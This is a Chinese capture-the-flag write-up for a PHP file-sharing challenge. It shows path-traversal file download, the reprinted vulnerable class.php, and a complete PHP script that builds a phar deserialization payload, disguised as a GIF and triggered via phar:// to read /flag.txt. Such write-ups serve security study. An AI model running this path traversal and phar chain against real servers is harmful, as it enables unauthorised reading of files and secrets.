知识点：phar、反序列化、任意文件下载
注册上号，只发现了有上传功能，先随便扔个文件进去
有下载和删除两个操作，先抓个下载的包下来看看
这里filename就摆在这里，所以先尝试一波任意文件下载的操作，这里需要跳到上层目录才可以下载文件，所以构造如下，成功下载源码。
然后把其他的文件都给下载下来
一共这些，然后一个一个开始分析，这里最重要的就是class.php文件
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| <?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
|
参数绑定的SQL语句，基本上不考虑注入了。先找可能存在的漏洞点，我们可以看到在File类中的close方法中有一个熟悉的file_get_contents方法，可以进行文件的读取,如果能触发该方法，就有可能获取flag。FileList类中存在着一个call魔术方法，而且FileList类没有close方法，根据call方法的内容，我们只要让一个FileList的对象调用close，就会触发File类的close方法，造成文件读取，然后内容通过FileList的析构方法打印出来。
即$user->__destruct() => $db->close() => $db->__call('close') => $file->close() => $results=file_get_contents($filename) => FileList->__destruct()输出$result。
然后构造phar的基操pop链一把梭
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| <?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "exp");
$phar->stopBuffering();
?>
|
运行这个PHP文件，生成了一个phar文件，这个文件改后缀名为gif（因为phar伪协议解析的时候会将GIF同样当作phar来解析，以此绕过上传限制），上传之后，删除该文件，抓下删除的包，改文件名为phar://phar.gif
就可以拿到flag。
小插曲：最开始不知道存flag的文件叫啥，然后发现upload里面有这么一项过滤：
暗示flag.php(txt)，顶。
